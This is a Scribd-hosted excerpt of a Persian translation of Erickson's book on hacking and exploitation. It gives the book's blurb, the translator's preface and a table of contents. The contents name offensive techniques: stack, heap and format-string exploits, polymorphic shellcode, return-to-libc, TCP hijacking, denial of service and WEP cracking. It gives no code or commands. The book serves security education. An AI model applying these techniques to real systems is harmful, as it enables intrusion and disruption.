0% found this document useful (0 votes)
72 views195 pages

Art of Exploitation Persian

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
72 views195 pages

Art of Exploitation Persian

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 195

‫ﻫﻨﺮ اﮐﺴﭙﻠﻮﯾﺖ ﻧﻮﯾﺴﯽ‬

‫ﺗﮑﻨﯿﮏ ﻫﺎی ﭘﺎﯾﻪ در اﮐﺴﭙﻠﻮﯾﺖ ﻧﻮﯾﺴﯽ‬

‫اﯾﻦ ﮐﺘﺎب ﺗﺌﻮری و روح ﻫﮑﯿﻨﮓ و ﻋﻠﻢ ﻧﻬﺎن در ورای آﻧﺮا ﺑﻪ ﺗﺼﻮﯾﺮ ﻣﯽ ﮐﺸﺪ‪ .‬ﺑﻌﻀﯽ از ﺗﮑﻨﯿﮏ ﻫﺎ و ﺣﻘـﻪ ﻫـﺎی اﺻـﻠﯽ‬
‫در ﻫﮑﯿﻨﮓ ﻧﯿﺰ اراﺋﻪ ﻣﯽ ﮔﺮدﻧﺪ‪ ،‬ﻟﺬا ﺷﻤﺎ ﻗﺎدرﯾﺪ ﮐﻪ ﭼﻮن ﯾﮏ ﻫﮑﺮ ﻓﮑـﺮ ﮐﻨﯿـﺪ‪ ،‬روش ﻫـﺎی ﻫﮑﯿﻨـﮓ ﺧـﻮد را در ﭘـﯿﺶ‬
‫ﮔﯿﺮﯾﺪ‪ ،‬از ﮐﺪﻫﺎی ﺧﻮد اﺳﺘﻔﺎده ﮐﻨﯿﺪ و ‪. ...‬‬
‫ﻫﮑﯿﻨﮓ ﻫﻨﺮِ ﺣﻞ ﻣﺴﺌﻠﻪ اﺳﺖ‪ ،‬ﭼﻪ ﺑﺮای ﭘﯿﺪا ﮐﺮدن ﯾﮏ راه ﺣﻞ ﻏﯿﺮﻣﻌﻤﻮﻟﯽ ﺑﺮای ﯾﮏ ﻣﺴﺌﻠﻪ ﺳﺨﺖ ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار‬
‫ﮔﯿﺮد‪ ،‬ﭼﻪ ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺣﻔﺮه ﻫﺎی ﻣﻮﺟﻮد در ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻫﺎی ﺿﻌﯿﻒ‪ .‬ﺑﺴﯿﺎری از اﻓﺮاد ﺧﻮد را ﯾـﮏ ﻫﮑـﺮ‬
‫ﻣﯽ ﭘﻨﺪارﻧﺪ‪ ،‬اﻣﺎ ﻋﻤﻼ ﺗﻌﺪاد ﻣﻌﺪودی از آﻧﻬﺎ اﺻﻮل اﺳﺎﺳﯽ و ﻓﻨﯽ ﻻزم ﺑﺮای ﻣﻮﻓﻘﯿـﺖ ﯾـﮏ ﻫﮑـﺮ را دارا ﻫـﺴﺘﻨﺪ‪ .‬ﮐﺘـﺎب‬
‫"ﻫﻨﺮ اﮐﺴﭙﻠﻮﯾﺖ ﻧﻮﯾﺴﯽ" ﻣﻔﺎدی را ﮐﻪ ﻫﺮ ﻫﮑﺮ واﻗﻌﯽ )ﺑﺎ ﻫﺮ رﻧﮓ ﮐﻼه( ﺑﺎﯾﺪ ﺑﺪاﻧﺪ ﺑﯿﺎن ﻣﯽ دارد‪.‬‬
‫ﺑﺴﯿﺎری از ﮐﺘﺎب ﻫﺎی ﺑﻪ ﻇﺎﻫﺮ ﻫﮑﯿﻨﮓ ﺑﻪ ﺷﻤﺎ ﭼﮕﻮﻧﮕﯽ اﺟﺮای اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی دﯾﮕﺮان را ﺑﺪون ﺗﻮﺿـﯿﺤﺎت واﻗﻌـﯽ از‬
‫ﺟﺰﺋﯿﺎت ﻓﻨﯽ آن ﻧﺸﺎن ﻣﯽ دﻫﻨﺪ‪ ،‬اﻣﺎ ﮐﺘﺎب ﺣﺎﺿﺮ ﺗﺌﻮری و ﻋﻠﻢ ﻧﻬﺎن در ﻫﮑﯿﻨﮓ را ﺗﻮﺿﯿﺢ ﻣﯽ دﻫﺪ‪ .‬ﺑﺎ ﻓﺮاﮔﯿﺮی ﺑﺮﺧـﯽ‬
‫از ﺗﮑﻨﯿﮏ ﻫﺎی اﺳﺎﺳﯽ ﻫﮑﯿﻨﮓ‪ ،‬ﻃﺮز ﻓﮑﺮ ﯾﮏ ﻫﮑـﺮ واﻗﻌـﯽ را ﺧﻮاﻫﯿـﺪ آﻣﻮﺧـﺖ‪ .‬ﻟـﺬا ﻣـﯽ ﺗﻮاﻧﯿـﺪ ﮐـﺪﻫﺎی ﺧﻮدﺗـﺎن را‬
‫ﺑﻨﻮﯾﺴﯿﺪ و ﺗﮑﻨﯿﮏ ﻫﺎی ﺟﺪﯾﺪی اﺑﺪاع ﯾﺎ ﺣﻤﻼت ﻣﻬﻠﮑﯽ را ﻋﻠﯿﻪ ﺳﯿﺴﺘﻢ ﺧﻮد ﺧﻨﺜﯽ ﮐﻨﯿﺪ‪ .‬در اﺻﻮل اﮐـﺴﭙﻠﻮﯾﺖ ﻧﻮﯾـﺴﯽ‬
‫ﻣﻮارد زﯾﺮ را ﺧﻮاﻫﯿﺪ آﻣﻮﺧﺖ‪:‬‬
‫اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺳﯿﺴﺘﻢ ﻫﺎ ﺑﺎ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی ﺳﺮرﯾﺰ ﺑﺎﻓﺮ و رﺷﺘﻪ‪-‬ﻓﺮﻣﺖ‬ ‫•‬
‫ﻧﻮﺷﺘﻦ ﺷﻠﮑﺪﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ و دﮔﺮﺷﮑﻞ‬ ‫•‬
‫ﭼﯿﺮه ﺷﺪن ﺑﺮ ﭘﺸﺘﻪ ﻫﺎی ﻏﯿﺮﻗﺎﺑﻞ اﺟﺮا‪ 1‬ﺑﺎ روش ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪C‬‬ ‫•‬
‫ﻫﺪاﯾﺖ ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ‪ ،‬ﭘﻨﻬﺎن ﮐﺮدن ﭘﻮرت ﻫﺎی ﺑﺎز و رﺑﻮدن ارﺗﺒﺎﻃﺎتِ ‪TCP‬‬ ‫•‬
‫ﮐﺮک ﮐﺮدن ﺗﺮاﻓﯿﮏ ﺑﯽ ﺳﯿﻢ و رﻣﺰﺷﺪه ‪ 802.11b‬ﺑﺎ ﺣﻤﻼت ‪FMS‬‬ ‫•‬
‫اﮔﺮ ﺷﻤﺎ ﻣﺒﺎﺣﺚ ﻫﮑﯿﻨﮓ را ﺑﻄﻮر ﺟﺪی دﻧﺒﺎل ﻣﯽ ﮐﻨﯿﺪ‪ ،‬اﯾـﻦ ﮐﺘـﺎب ﺑـﺮای ﺷﻤﺎﺳـﺖ و ﻣﻬـﻢ ﻧﯿـﺴﺖ ﮐـﺪام ﻃـﺮف دﯾـﻮار‬
‫اﯾﺴﺘﺎده اﯾﺪ!‬
‫اﯾﻦ ﮐﺘﺎب ﺗﮑﻨﯿﮏ ﻫﺎی ﻏﻨﯽ ﮔﻮﻧﺎﮔﻮﻧﯽ را ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮﭼﻪ ﻣﻔﺎﻫﯿﻢ ﺑﻨﯿﺎدی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﮐـﻪ اﯾـﻦ ﺗﮑﻨﯿـﮏ ﻫـﺎ از‬
‫آﻧﻬﺎ اﻗﺘﺒﺎس ﺷﺪه اﻧﺪ در ﮐﺘﺎب ﻣﻌﺮﻓﯽ ﮔﺸﺘﻪ اﺳﺖ‪ ،‬اﻣﺎ آﮔﺎﻫﯽ ﮐﻠﯽ از ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻄﻤﺌﻨﺎ ﺧﻮاﻧﻨﺪه را در درک ﻫﺮ ﭼـﻪ‬
‫ﺑﻬﺘﺮ اﯾﻦ ﻣﻔﺎﻫﯿﻢ ﯾﺎری ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﮐﺪﻫﺎی ﻣﺜﺎل در اﯾـﻦ ﮐﺘـﺎب ﺑـﺮ روی ﯾـﮏ ﮐـﺎﻣﭙﯿﻮﺗﺮ ﺑـﺎ ﭘﺮدازﻧـﺪه ﻣﻌﻤـﺎری ‪ x86‬و‬
‫ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﻟﯿﻨﻮﮐﺲ اﺟﺮا ﺷﺪه اﻧﺪ‪ .‬داﺷﺘﻦ ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ﻣﺸﺎﺑﻪ وﺿﻌﯿﺖ ﯾﺎد ﺷﺪه ﺑﻪ ﺷﻤﺎ ﮐﻤﮏ ﺧﻮاﻫﺪ ﮐﺮد ﺗـﺎ ﻧﺘـﺎﯾﺞ‬
‫را ﺧﻮدﺗﺎن ﻣﺸﺎﻫﺪه ﮐﻨﯿﺪ و اﺣﯿﺎﻧﺎ ﭼﯿﺰﻫﺎی ﺟﺪﯾﺪی را اﻣﺘﺤﺎن و ﺗﺠﺮﺑﻪ ﮐﻨﯿﺪ‪.‬‬
‫ﺗﻮزﯾـــﻊ ﺟﻨﺘـــﻮ )‪ (Gentoo‬ﻟﯿﻨـــﻮﮐﺲ ﮐـــﻪ در اﯾـــﻦ ﮐﺘـــﺎب ﻣـــﻮرد اﺳـــﺘﻔﺎده ﻗـــﺮار ﮔﺮﻓﺘـــﻪ اﺳـــﺖ از ﻃﺮﯾـــﻖ آدرس‬
‫‪ http://www.gentoo.org‬ﻗﺎﺑﻞ درﯾﺎﻓﺖ ﻣﯽ ﺑﺎﺷﺪ‪.‬‬

‫‪1‬‬
‫‪Non-executable‬‬
‫ﺳﺨﻦ ﻣﺘﺮﺟﻢ‬
‫ﮐﺘـﺎب ﭘـﯿﺶ روی‪ ،‬ﺗﺮﺟﻤـﻪ ای آزاد و روان از ﻧـﺴﺨﻪ اول ﮐﺘـﺎب ‪ Hacking: The Art of Exploitation‬ﺑـﺮ ﺳـﺎل‬
‫‪ ،2003‬ﻧﻮﺷﺘﻪ ‪ Jon Erickson‬اﺳﺖ ﮐﻪ ﺗﺮﺟﻤﻪ آزاد آن در ﻣـﺎه دﺳـﺎﻣﺒﺮ ﻫﻤـﺎن ﺳـﺎل ﭘﺎﯾـﺎن ﯾﺎﻓـﺖ‪ .‬در ﻃـﯽ ‪ 5‬ﺳـﺎل‬
‫ﮔﺬﺷﺘﻪ و ﺑﺎ ﻋﻨﺎﯾﺖ ﺑﻪ زﻣﺎن آزادی ﮐﻪ در آن دوره داﺷﺘﯿﻢ‪ ،‬ﻗﺼﺪ ﺑﻪ ﭼـﺎپ رﺳـﺎﻧﯿﺪن اﯾـﻦ اﺛـﺮ ﮐـﺮدﯾﻢ ﮐـﻪ ﺑـﺎ ﻧﻬﺎدﻫـﺎ و‬
‫دوﺳﺘﺎن ﺑﺴﯿﺎری ﻣﺸﻮرت ﺷﺪ‪ ،‬اﻣﺎ ﻧﻬﺎﯾﺘﺎ ﺑﻨﺎ ﺑﻪ اﯾﺮادات ﻧﺎﻣﻨﺎﺳﺒﯽ از ﺟﺎﻧـﺐ وزارت ارﺷـﺎد‪ ،‬ﻣﻮﻓـﻖ ﺑـﻪ ﻧﯿـﻞ ﺑـﻪ اﯾـﻦ ﻣﻬـﻢ‬
‫ﻧﮕﺸﺘﯿﻢ‪.‬‬
‫ﻫﻤﻮاره ﺑﻪ ﺟﺮﯾﺎن آزاد اﻃﻼﻋﺎت ﻣﻌﺘﻘﺪ ﺑﻮده ام‪ ،‬ﻟﺬا در ﺗﺼﻤﯿﻤﯽ ﺟﺪﯾﺪ ﮐﺘﺎب ﺣﺎﺿﺮ را ﺑﻪ ﺻﻮرت راﯾﮕـﺎن و ﺑـﺎ ﻟﯿـﺴﺎﻧﺲ‬
‫‪ GNU GPLv3‬ﺑﻪ ﺧﻮاﻧﻨﺪﮔﺎن ﻣﺤﺘﺮم ﻫﺪﯾﻪ ﻣﯽ دارم و اﻣﯿﺪوارم دﯾﺮﮐﺮد اﻧﺘﺸﺎر را دال ﺑـﺮ اﺻـﻮل ﻓﺮوﺷـﯽ ﯾـﺎ اﺻـﻞ‪-‬‬
‫ﻓﺮوﺷﯽ ﻧﮕﺬارﯾﺪ‪ .‬اﻣﯿﺪ دارم ﺗﺎ در ﻓﺮﺻﺖ ﻫﺎی ﻣﻨﺎﺳﺐ اﻣﮑﺎن اﻟﺤﺎق اﺿﺎﻓﺎت )‪ ،(additions‬ﺑﻪ روز رﺳـﺎﻧﯽ ﻫـﺎی ﮔـﺎه و‬
‫ﺑﯽ ﮔﺎه و ﺗﺼﺤﯿﺢ اﺷﺘﺒﺎﻫﺎت اﺣﺘﻤﺎﻟﯽ ﻣﻄﺎﻟﺐ اﯾﻦ ﮐﺘﺎب را داﺷﺘﻪ ﺑﺎﺷﻢ‪ .‬ﺿﻤﻨﺎ اﺳﺘﻔﺎده ﻧﺎدرﺳﺖ از ﻣﻄﺎﻟﺐ اﯾـﻦ ﮐﺘـﺎب ﺑـﺮ‬
‫ﻋﻬﺪه ﺧﻮاﻧﻨﺪه ﻣﯽ ﺑﺎﺷﺪ‪.‬‬

‫ﺳﻌﯿﺪ ﺑﯿﮑﯽ‬
‫‪ 3‬ﻣﻬﺮ ‪1387‬‬

‫)‪Saeed Beiki (cephexin [AT] gmail.com‬‬


‫‪www.secumania.net‬‬

‫‪2‬‬
‫ﻓﻬﺮﺳﺖ ﻣﻮﺿﻮﻋﺎت‬
‫ﺻﻔﺤﻪ‬ ‫ﻣﻮﺿﻮع‬ ‫ردﯾﻒ‬
‫‪5‬‬ ‫ﻓﺼﻞ ‪ :1‬ﻣﻘﺪﻣﻪ‬ ‫‪1‬‬
‫‪9‬‬ ‫ﻓﺼﻞ ‪ :2‬ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ‬ ‫‪2‬‬
‫‪10‬‬ ‫ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﭼﯿﺴﺖ؟‬ ‫‪2-1‬‬
‫‪13‬‬ ‫اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ‬ ‫‪2-2‬‬
‫‪16‬‬ ‫ﺗﮑﻨﯿﮏ ﻫﺎی ﮐﻠﯽ اﮐﺴﭙﻠﻮﯾﺖ‬ ‫‪2-3‬‬
‫‪17‬‬ ‫ﻣﺠﻮزﻫﺎی ﭼﻨﺪ‪-‬ﮐﺎرﺑﺮه ﻓﺎﯾﻞ‬ ‫‪2-4‬‬
‫‪18‬‬ ‫ﺣﺎﻓﻈﻪ‬ ‫‪2-5‬‬
‫‪19‬‬ ‫اﻋﻼن ﺣﺎﻓﻈﻪ‬ ‫‪2-5-1‬‬
‫‪19‬‬ ‫ﺧﺎﺗﻤﻪ دادن ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ‬ ‫‪2-5-2‬‬
‫‪20‬‬ ‫ﻗﻄﻌﻪ ﺑﻨﺪی ﺣﺎﻓﻈﻪ ﺑﺮﻧﺎﻣﻪ‬ ‫‪2-5-3‬‬
‫‪24‬‬ ‫ﺳﺮرﯾﺰﻫﺎی ﺑﺎﻓﺮ‬ ‫‪2-6‬‬
‫‪25‬‬ ‫ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ‬ ‫‪2-7‬‬
‫‪29‬‬ ‫اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺪون ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ‬ ‫‪2-7-1‬‬
‫‪31‬‬ ‫اﺳﺘﻔﺎده از ﻣﺤﯿﻂ‬ ‫‪2-7-2‬‬
‫‪39‬‬ ‫ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ‪ Heap‬و ‪BSS‬‬ ‫‪2-8‬‬
‫‪39‬‬ ‫ﯾﮏ ﻧﻤﻮﻧﻪ ﭘﺎﯾﻪ از ﺳﺮرﯾﺰ ﻣﺒﺘﻨﯽ ﺑﺮ ‪heap‬‬ ‫‪2-8-1‬‬
‫‪43‬‬ ‫ﺟﺎﯾﻨﻮﯾﺴﯽ اﺷﺎرﮔﺮﻫﺎی ﺗﺎﺑﻊ‬ ‫‪2-8-2‬‬
‫‪48‬‬ ‫رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ‬ ‫‪2-9‬‬
‫‪48‬‬ ‫رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ و ﺗﺎﺑﻊ )(‪printf‬‬ ‫‪2-9-1‬‬
‫‪53‬‬ ‫آﺳﯿﺐ ﭘﺬﯾﺮی رﺷﺘﻪ ﻓﺮﻣﺖ‬ ‫‪2-9-2‬‬
‫‪54‬‬ ‫ﺧﻮاﻧﺪن آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ‬ ‫‪2-9-3‬‬
‫‪55‬‬ ‫ﻧﻮﺷﺘﻦ در آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ‬ ‫‪2-9-4‬‬
‫‪62‬‬ ‫دﺳﺘﺮﺳﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ‬ ‫‪2-9-5‬‬
‫‪64‬‬ ‫ﺳﻮ اﺳﺘﻔﺎده از ﺑﺨﺶ ‪DTors‬‬ ‫‪2-9-6‬‬
‫‪69‬‬ ‫ﺟﺎﯾﻨﻮﯾﺴﯽ ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ )‪(GOT‬‬ ‫‪2-9-7‬‬
‫‪71‬‬ ‫ﺷﻞ‪-‬ﮐﺪ ﻧﻮﯾﺴﯽ‬ ‫‪2-10‬‬
‫‪72‬‬ ‫دﺳﺘﻮرات ﻣﻌﻤﻮل در اﺳﻤﺒﻠﯽ‬ ‫‪2-10-1‬‬
‫‪73‬‬ ‫ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺳﯿﺴﺘﻤﯽ در ﻟﯿﻨﻮﮐﺲ‬ ‫‪2-10-2‬‬
‫‪74‬‬ ‫ﺑﺮﻧﺎﻣﻪ !‪Hello, World‬‬ ‫‪2-10-3‬‬
‫‪76‬‬ ‫ﮐﺪ ﻣﻮﻟﺪ ﭘﻮﺳﺘﻪ‬ ‫‪2-10-4‬‬
‫‪78‬‬ ‫اﺟﺘﻨﺎب از اﺳﺘﻔﺎده از دﯾﮕﺮ ﻗﻄﻌﻪ ﻫﺎ )‪(segment‬‬ ‫‪2-10-5‬‬
‫‪80‬‬ ‫ﺣﺬف ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ‬ ‫‪2-10-6‬‬
‫‪83‬‬ ‫ﺷﻞ‪-‬ﮐﺪ ﮐﻮﭼﮑﺘﺮ و اﺳﺘﻔﺎده از ﭘﺸﺘﻪ‬ ‫‪2-10-7‬‬
‫‪85‬‬ ‫دﺳﺘﻮرات اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ‬ ‫‪2-10-8‬‬
‫‪86‬‬ ‫ﺷﻞ‪-‬ﮐﺪﻫﺎی دﮔﺮﺷﮑﻞ‬ ‫‪2-10-9‬‬
‫‪86‬‬ ‫ﺷﻞ‪-‬ﮐﺪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ و دﮔﺮﺷﮑﻞ‬ ‫‪2-10-10‬‬
‫‪97‬‬ ‫اﺑﺰار ‪Dissembler‬‬ ‫‪2-10—11‬‬
‫‪106‬‬ ‫ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪C‬‬ ‫‪2-11‬‬
‫‪106‬‬ ‫ﺑﺎزﮔﺸﺖ ﺑﻪ ﺗﺎﺑﻊ )(‪system‬‬ ‫‪2-11-1‬‬
‫‪108‬‬ ‫زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪C‬‬ ‫‪2-11-2‬‬
‫‪109‬‬ ‫اﺳﺘﻔﺎده از ﭘﻮﺷﺶ دﻫﻨﺪه‬ ‫‪2-11-3‬‬
‫‪110‬‬ ‫ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ از ﻃﺮﯾﻖ ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪C‬‬ ‫‪2-11-4‬‬
‫‪112‬‬ ‫ﻧﻮﺷﺘﻦ ﭼﻨﺪ ﮐﻠﻤﻪ ﺑﺎ ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ‬ ‫‪2-11-5‬‬
‫‪115‬‬ ‫ﻓﺼﻞ ‪ :3‬ﺷﺒﮑﻪ‬ ‫‪3‬‬
‫‪115‬‬ ‫ﺷﺒﮑﻪ ﺑﻨﺪی ﭼﯿﺴﺖ؟‬ ‫‪3-1‬‬
‫‪115‬‬ ‫ﻣﺪل ‪OSI‬‬ ‫‪3-1-1‬‬
‫‪117‬‬ ‫ﺟﺰﺋﯿﺎت ﻻﯾﻪ ﻫﺎی ﻣﻬﻢ‬ ‫‪3-2‬‬
‫‪117‬‬ ‫ﻻﯾﻪ ﺷﺒﮑﻪ )‪(Network‬‬ ‫‪3-2-1‬‬
‫‪119‬‬ ‫ﻻﯾﻪ اﻧﺘﻘﺎل )‪(Transport‬‬ ‫‪3-2-2‬‬
‫‪121‬‬ ‫ﻻﯾﻪ اﺗﺼﺎل‪-‬داده )‪(Data-Link‬‬ ‫‪3-2-3‬‬
‫‪122‬‬ ‫اﺳﺘﺮاق در ﺷﺒﮑﻪ‬ ‫‪3-3‬‬
‫‪124‬‬ ‫اﺳﺘﺮاق ﻓﻌﺎل‬ ‫‪3-3-1‬‬

‫‪3‬‬
‫‪130‬‬ ‫ﻋﻤﻠﯿﺎت ‪TCP/IP Hijacking‬‬ ‫‪3-4‬‬
‫‪131‬‬ ‫ﻋﻤﻠﯿﺎت ‪RST Hijacking‬‬ ‫‪3-4-1‬‬
‫‪134‬‬ ‫ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ )‪(Denial of Service‬‬ ‫‪3-5‬‬
‫‪134‬‬ ‫ﺣﻤﻼت ‪Ping Of Death‬‬ ‫‪3-5-1‬‬
‫‪134‬‬ ‫ﺣﻤﻼت ‪TearDrop‬‬ ‫‪3-5-2‬‬
‫‪135‬‬ ‫ﺣﻤﻼت ‪Ping Flooding‬‬ ‫‪3-5-3‬‬
‫‪135‬‬ ‫ﺣﻤﻼت ﺗﺸﺪﯾﺪی‬ ‫‪3-5-4‬‬
‫‪136‬‬ ‫ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ ﺗﻮزﯾﻊ ﯾﺎﻓﺘﻪ )‪(DDoS‬‬ ‫‪3-5-5‬‬
‫‪136‬‬ ‫ﺣﻤﻼت ‪SYN Flooding‬‬ ‫‪3-5-6‬‬
‫‪136‬‬ ‫ﭘﻮﯾﺶ ﭘﻮرت‬ ‫‪3-6‬‬
‫‪137‬‬ ‫ﭘﻮﯾﺶ ‪Stealth SYN‬‬ ‫‪3-6-1‬‬
‫‪137‬‬ ‫ﭘﻮﯾﺶ ﻫﺎی ‪ X-mas ،FIN‬و ‪Null‬‬ ‫‪3-6-2‬‬
‫‪137‬‬ ‫ﺟﻌﻞ ﻃﻌﻤﻪ ﻫﺎ‬ ‫‪3-6-3‬‬
‫‪137‬‬ ‫ﭘﻮﯾﺶ ﺑﯿﮑﺎر‬ ‫‪3-6-4‬‬
‫‪139‬‬ ‫دﻓﺎع ﻓﺮا ﻋﻤﻠﯿﺎﺗﯽ )‪ (Proactive‬ﯾﺎ ﭘﻮﺷﺸﯽ )‪(Shroud‬‬ ‫‪3-6-5‬‬
‫‪146‬‬ ‫ﻓﺼﻞ ‪ :4‬رﻣﺰﺷﻨﺎﺳﯽ‬ ‫‪4‬‬
‫‪147‬‬ ‫ﺗﺌﻮری اﻃﻼﻋﺎت‬ ‫‪4-1‬‬
‫‪147‬‬ ‫اﻣﻨﯿﺖ ﻣﻄﻠﻖ )‪(Unconditional‬‬ ‫‪4-1-1‬‬
‫‪147‬‬ ‫ﭘﺮﮐﻨﻨﺪه ﻫﺎی ﯾﮏ ﺑﺎر ﻣﺼﺮف‬ ‫‪4-1-2‬‬
‫‪148‬‬ ‫ﺗﻮزﯾﻊ ﮐﻮاﻧﺘﻮﻣﯽ ﮐﻠﯿﺪ‬ ‫‪4-1-3‬‬
‫‪149‬‬ ‫اﻣﻨﯿﺖ ﻣﺤﺎﺳﺒﺎﺗﯽ‬ ‫‪4-1-4‬‬
‫‪149‬‬ ‫زﻣﺎن اﺟﺮای اﻟﮕﻮرﯾﺘﻤﯽ‬ ‫‪4-2‬‬
‫‪150‬‬ ‫ﻧﺸﺎﻧﻪ ﮔﺬاری ﻣﺠﺎﻧﺐ‬ ‫‪4-2-1‬‬
‫‪151‬‬ ‫رﻣﺰﮔﺬاری ﻣﺘﻘﺎرن )‪(Symmetric‬‬ ‫‪4-3‬‬
‫‪152‬‬ ‫اﻟﮕﻮرﯾﺘﻢ ﺟﺴﺘﺠﻮی ﮐﻮاﻧﺘﻮﻣﯽ از ﻟﻮو ﮔﺮاور‬ ‫‪4-3-1‬‬
‫‪153‬‬ ‫رﻣﺰﮔﺬاری ﻧﺎﻣﺘﻘﺎرن )‪(Asymmetric‬‬ ‫‪4-4‬‬
‫‪153‬‬ ‫ﻃﺮح ‪RSA‬‬ ‫‪4-4-1‬‬
‫‪156‬‬ ‫اﻟﮕﻮرﯾﺘﻢ ﻓﺎﮐﺘﻮرﮔﯿﺮی ﮐﻮاﻧﺘﻮﻣﯽ از ﭘﯿﺘﺮ ﺷﻮر‬ ‫‪4-4-2‬‬
‫‪157‬‬ ‫رﻣﺰﻫﺎی ﭘﯿﻮﻧﺪی ﯾﺎ ﺗﺮﮐﯿﺒﯽ )‪(Hybrid‬‬ ‫‪4-5‬‬
‫‪158‬‬ ‫ﺣﻤﻼت ‪Man in the Middle‬‬ ‫‪4-5-1‬‬
‫‪160‬‬ ‫ﺗﻤﺎﯾﺰ دادن اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن در ﭘﺮوﺗﮑﻞ ‪SSH‬‬ ‫‪4-5-2‬‬
‫‪162‬‬ ‫اﺛﺮات اﻧﮕﺸﺖ ﻓﺎزی )‪(Fuzzy‬‬ ‫‪4-5-3‬‬
‫‪167‬‬ ‫ﮐﺮک ﮐﺮدن ﭘﺴﻮردﻫﺎ‬ ‫‪4-6‬‬
‫‪168‬‬ ‫ﺣﻤﻼت ﻣﺒﺘﻨﯽ ﺑﺮ ﻟﻐﺖ ﻧﺎﻣﻪ )‪(Dictionary‬‬ ‫‪4-6-1‬‬
‫‪169‬‬ ‫ﺣﻤﻼت ﺟﺎﻣﻊ ‪Brute-Force‬‬ ‫‪4-6-2‬‬
‫‪170‬‬ ‫ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ )‪(HLT‬‬ ‫‪4-6-3‬‬
‫‪171‬‬ ‫ﻣﺎﺗﺮﯾﺲ اﺣﺘﻤﺎل ﭘﺴﻮرد‬ ‫‪4-6-4‬‬
‫‪179‬‬ ‫رﻣﺰﮔﺬاری ﻣﺪل ﺑﯽ ﺳﯿﻢ ‪802.11b‬‬ ‫‪4-7‬‬
‫‪180‬‬ ‫ﻣﺤﺮﻣﺎﻧﮕﯽ ﺳﯿﻤﯽ ﻣﻌﺎدل )‪(WEP‬‬ ‫‪4-7-1‬‬
‫‪181‬‬ ‫رﻣﺰ ﺟﺮﯾﺎﻧﯽ ‪RC4‬‬ ‫‪4-7-2‬‬
‫‪182‬‬ ‫ﺣﻤﻠﻪ ﺑﻪ ‪WEP‬‬ ‫‪4-8‬‬
‫‪182‬‬ ‫ﺣﻤﻼت ‪ Brute-force‬ﺑﻪ ﺻﻮرت آﻓﻼﯾﻦ‬ ‫‪4-8-1‬‬
‫‪183‬‬ ‫اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ‬ ‫‪4-8-2‬‬
‫‪184‬‬ ‫ﺟﺪول ﻫﺎی ﻟﻐﺖ ﻧﺎﻣﻪ ای رﻣﺰﮔﺸﺎﯾﯽ ﺑﺮ ﻣﺒﻨﺎی ﺑﺮدار اوﻟﯿﻪ )‪(IV‬‬ ‫‪4-8-3‬‬
‫‪184‬‬ ‫ﺣﻤﻠﻪ ‪) IP Redirection‬ﻫﺪاﯾﺖ ‪(IP‬‬ ‫‪4-8-4‬‬
‫‪185‬‬ ‫ﺣﻤﻠﻪ ﻓﻼرر‪ ،‬ﻣﺎﻧﺘﯿﻦ و ﺷﻤﯿﺮ )‪(FMS‬‬ ‫‪4-8-5‬‬
‫‪193‬‬ ‫ﻓﺼﻞ ‪ :5‬اﺳﺘﻨﺘﺎج‬ ‫‪5‬‬
‫‪194‬‬ ‫ارﺟﺎﻋﺎت‬
